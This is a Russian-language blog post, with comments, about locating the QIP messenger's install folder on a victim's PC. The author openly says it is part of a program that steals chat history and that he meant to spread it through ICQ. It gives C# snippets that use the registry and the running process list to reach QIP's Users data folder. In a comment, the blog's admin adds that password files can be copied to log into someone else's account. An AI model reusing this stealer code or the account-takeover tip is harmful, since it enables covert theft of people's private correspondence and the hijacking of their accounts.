Находим местоположение QIP. Работа с Реестром и Процессами.
Да, хакерим
Писал как то программу, которая тырит историю переписки у ICQ клиента QIP. И встал вопрос, где же установлен QIP?
Конечно, в большинстве случаев его устанавливают в стандартную директорию C:\Program Files\QIP. Но приятель, который взялся быть тестером(по не своей воли), установил её чёрте куда, а потом вообще признался, что на его компе есть несколько папок с QIP, некоторые даже не инсталлированные в систему(на сайте QIP можно скачать установочный, а можно и zip папку с программой). Поэтому задача усложнилась.
Сначала решил сканировать весь ПК(все диски) в поисках файла qip.exe или unins000.exe, но представил сколько займёт времени этот поиск и проблемы описанной выше, решил отказаться от этого способа.
Советами из темы на форуме antichat.ru решил искать в реестре. Но в реестре прописывается путь для Деинсталлированного файла unins000.exe только если QIP был установлен в систему, что то же не есть хороший вариант, но тоже не плохой.
Дальше я взялся за способ который меня давно мучал, но почему то не спешил реализовывать. А способ заключается в том, что бы просмотреть запущенные программы(процессы), найти приложение qip и узнать адрес, где он расположен. Конечно, если приложение не будет запущено, то мы ничего не получим, но т.к. я собирался распространять программу через ICQ то программа будет запущена.
Ну и вот эти два метода.
- Через Реестр:
using Microsoft.Win32; ... string pathQIP = (string)Registry.GetValue( "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\QIP2005", "UninstallString", "Return this default if UninstallString does not exist."); pathQIP = pathQIP.Replace("\"", ""); pathQIP = pathQIP.Replace("\\unqip.exe", ""); pathQIP = pathQIP.Replace("\\", "\\\\"); pathQIP = pathQIP + "\\\\Users";
- Через процессы:
using System.Diagnostics; ... Process[] procQIP = Process.GetProcessesByName("qip"); pathQIP = procQIP[0].MainModule.FileName; pathQIP = pathQIP.Replace("\\qip.exe", ""); pathQIP = pathQIP.Replace("\\", "\\\\"); pathQIP = pathQIP + "\\\\Users";
Отсюда вывод: не устанавливаем программу в стандартную папку. А лучше вообще не инсталировать в систему:)
Случайные посты:

Роман
Как третий вариант (я конечно не пробовал) искать в не давно запущенных. Или в пуске
Не знаю конечно имеет ли место жизни данный метод, но как вариант
Дмитрий
Отсюда вывод: не ставьте товарищи квип :), миранда всему голова))
organic
Отсюда вывод никогда не ставьте qip
Жаль, что Дмитрий опередил меня с этой глубокой мыслью.
Для меня было настоящим откровением, когда несколько лет назад (я не уверен так ли это сейчас) я обнаружил что эта поделка хранит пароли в открытом виде в файле настроек. Не говоря уже о том, что она идеологически и эстетически неверна.
Миранда… хм… Энд юзер стремится к простоте, а в Миранде можно свихнуть могз (по моему скромному мнению). Рекомендую Пиджин.
Руслан
Несколько лет назад и пиво было вкуснее. QIP давно не хранит пароли в закрытом виде. В общем бредите товарищи. Пиджин если тока под линь, а под вынь пиджин убог.
Алексей(admin)
Руслан, В данном случае я тырил не пароль, а историю переписки.
Во вторых - существую расшифровщики паролей от QIP. В третьих файл с паролем можно скопировать себе на ПК в папку с QIP, пароля знать не будите, но войти в учёную запись можно.